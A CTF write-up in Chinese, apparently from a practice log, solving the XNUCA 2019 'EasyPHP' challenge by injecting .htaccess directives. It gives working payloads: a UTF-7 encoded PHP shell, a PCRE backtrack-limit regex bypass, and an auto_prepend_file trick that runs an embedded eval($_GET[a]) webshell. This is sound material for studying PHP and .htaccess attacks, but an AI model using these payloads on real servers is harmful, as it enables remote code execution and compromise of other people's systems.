刷題記錄:[XNUCA2019Qualifier]EasyPHP
題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:X-NUCA-ezphp記錄
XNUCA 2019 Qualifier的兩個web題目writeup
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/Ezphp
解法一
1、error_log結合log_errors自定義錯誤日志
.htaccess文件中可以自己定義error_log,更多配置可以在php.ini配置選項列表找到
php_value include_path "xxx"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
據此可以做到將報錯信息中的payload,如:
[Fri Oct 25 17:44:29.533900 2019] [php7:warn] [pid 1387] [client 172.20.10.2:1147] PHP Warning: include_once(): Failed opening 'fl3g.php' for inclusion (include_path='.:/usr/share/php') in /var/www/html/ctf/index.php on line 10
這里就可以將shellcode配合include寫進其它目錄。
2、include_path設置包含路徑
.htaccess可以設置php_value include_path "xxx"將include()的默認路徑改變
3、php_value zend.multibyte 1結合php_value zend.script_encoding "UTF-7"繞過尖括號<過濾
寫入utf-7編碼的shellcode可以繞過<?的過濾
+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs
需要在.htaccess中配置解析的編碼:
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
4、# \ 繞過.htaccess中多余字符
poc中最后生成的.htaccess是這樣的
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance
最終題目在.htaccess后附加的臟字符沒有發揮作用而報錯,猜測可能是.htaccess語法中支持\換行注釋?
解法二
5、.htaccess配置prce繞過正則匹配
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
if(preg_match("/[^a-z\.]/", $filename) == 1)而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此可以通過php_value 設置正則回朔次數來使正則匹配的結果返回為false而不是0或1,默認的回朔次數比較大,可以設成0,那么當超過此次數以后將返回false
由此可以繞過filename的過濾直接寫shell
解法三
既然可以\換行,那同樣可以用這個繞過過濾
php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_GET[a]);?>\
